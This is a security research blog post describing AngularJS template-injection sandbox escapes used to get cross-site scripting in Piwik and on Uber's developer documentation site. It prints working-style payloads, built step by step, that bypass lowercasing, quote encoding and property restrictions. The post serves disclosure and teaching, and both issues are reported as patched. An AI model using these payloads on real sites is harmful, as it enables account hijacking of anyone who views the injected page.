Published: 25 April 2016 at 13:58 UTC
Updated: 14 June 2019 at 12:12 UTC
Every experienced pentester knows there is a lot more to XSS than - filtering, encoding, browser-quirks and WAFs all team up to keep things interesting. AngularJS Template Injection is no different. In this post, we will examine how we adapted template injection payloads to bypass filtering and encoding and exploit Piwik and Uber.
Piwik, an open-source analytics platform with a healthy 2.7 million downloads, uses AngularJS 1.2.26, and displays search queries from visitors.
By spoofing a referral from Google, we can inject a keyword containing an Angular expression in here. However, injecting the appropriate sandbox escape for Angular 1.2.26 doesn't work:
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
Piwik converts this input to lower case, preventing the charAt function from being overwritten and valueOf from being called. We easily got round those restrictions by using unicode escapes to overwrite the charAt function:
'a'.constructor.prototype['char\u0041t']
and used ''.concat instead of valueOf:
'a'.constructor.prototype['char\u0041t']=''.concat;
Here is the final payload (Broken slightly to discourage exploits):
{{'a'.constructor.prototype['char\u0041t']=''.concat;
$eval("x='\"+(y='if(!window\\u002еx)alert(window\\u002ex=1)')+eval(y)+\"'");}}
https://jsfiddle.net/72uaodfe/
This vulnerability is really quite serious - an unauthenticated attacker can inject a payload which will hijack the account of anyone who views it. If an admin account is hijacked, we may be able to install a malicious module and take complete control of the webserver. Update to Piwik 2.16.1 to get the fix.
The ride-sharing company Uber lets developers submit and manage apps via developer.uber.com. They use a third party (readme.io) to display associated documentation at https://developer.uber.com/docs/.
This site uses AngularJS and reflects the current URL using server-side templating, but crucially doesn't URL decode it first. Firefox and Chrome both URL-encode quotes and apostrophes, meaning that if we want a cross-browser payload (and a decent vulnerability bounty), we need an alternative way of getting the string object. Also, we can't use any spaces, regardless of the browser.
Using the toString method of an object, we can create a string without the need for single or double quotes. ({}.toString) creates the string, then we can use its constructor to access the String object and call fromCharCode.
{{
({}.toString()).constructor.prototype.charAt=[].join;
$eval(({}.toString()).constructor.fromCharCode(120,61,49,125,32,125,32,125,59,97,108,101,114,116,40,49,41,47,47))
}}
Mario Heiderich came up with a shorter version that removes the object literal reference. This can also be reduced (for those of you who like code "golfing") to:-
{{
x=toString();x.constructor.prototype.charAt=x.constructor.prototype.concat;
$eval(x.constructor.fromCharCode(120,61,49,125,32,125,32,125,59,97,108,101,114,116,40,49,41,47,47))
}}
However, there was one more catch. Uber was using Angular 1.2.0 which bans accessing constructor via a regular javascript property like obj.constructor, although an object accessor like obj['constructor'] was allowed. So I needed to generate the string "constructor" but I couldn't access the String constructor to call fromCharCode because I need to pass the string "constructor". A chicken and egg situation.
I thought how I could generate a string and concatenate them together without using +. I decided to use arrays. First off I create a blank array.
c=[];
The next problem was how to generate the required characters for constructor without the ability to call fromCharCode (because we can't use constructor yet) and no quotes! The trick here is to use existing objects to generate the required characters. You could almost think of this as a twisted kind of ROP. Using the toString method of the currently scoped object will generate the string [object Object] giving us some of the characters required for constructor.
o=toString();//[object Object]
The observant among you might be wondering how we could get a "n" since Angular tolerates undefined objects so we can't convert an undefined object into a string. The solution is to use the anchor "function" on the string as the generated output contains an "n".
t=o.anchor(true);//<a name="true">[object Undefined]</a>
Next I need to generate false too using the same method. You could use false.toString() instead of course. And now add all the strings into the array.
f=o.anchor(false);
c.push(o[5]);
c.push(o[1]);
c.push(t[3]);
c.push(f[12]);
c.push(t[9]);
c.push(t[10]);
c.push(t[11]);
c.push(o[5]);
c.push(t[9]);
c.push(o[1]);
c.push(t[10]);
I then need to join these characters together but I can't generate a blank string using quotes. The solution is to use an array literal which does the same thing.
a=c.join([]);
So we have our string "constructor" the next stage is to use the required exploit for 1.2.0 by Jan Horn and pass our string to it. We can now generate characters using fromCharCode now that we can use "constructor". Here is the final exploit in all its glory.
{{
c=[];
o=toString();
t=o.anchor(true);
f=o.anchor(false);
c.push(o[5]);
c.push(o[1]);
c.push(t[3]);
c.push(f[12]);
c.push(t[9]);
c.push(t[10]);
c.push(t[11]);
c.push(o[5]);
c.push(t[9]);
c.push(o[1]);
c.push(t[10]);
a=c.join([]);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[c.join([])].fromCharCode(97,108,101,114,116,40,49,41))()
}}
Uber/readme.io somewhat impressively patched this issue within 24 hours of it being reported.
Even when you're inside a JavaScript sandbox, there is still plenty of room for adapting exploits to bypass environmental constraints. These techniques should serve as a foundation for tackling whatever you encounter.
Please visit the web academy AngularJS lab to experiment with XSS using AngularJS.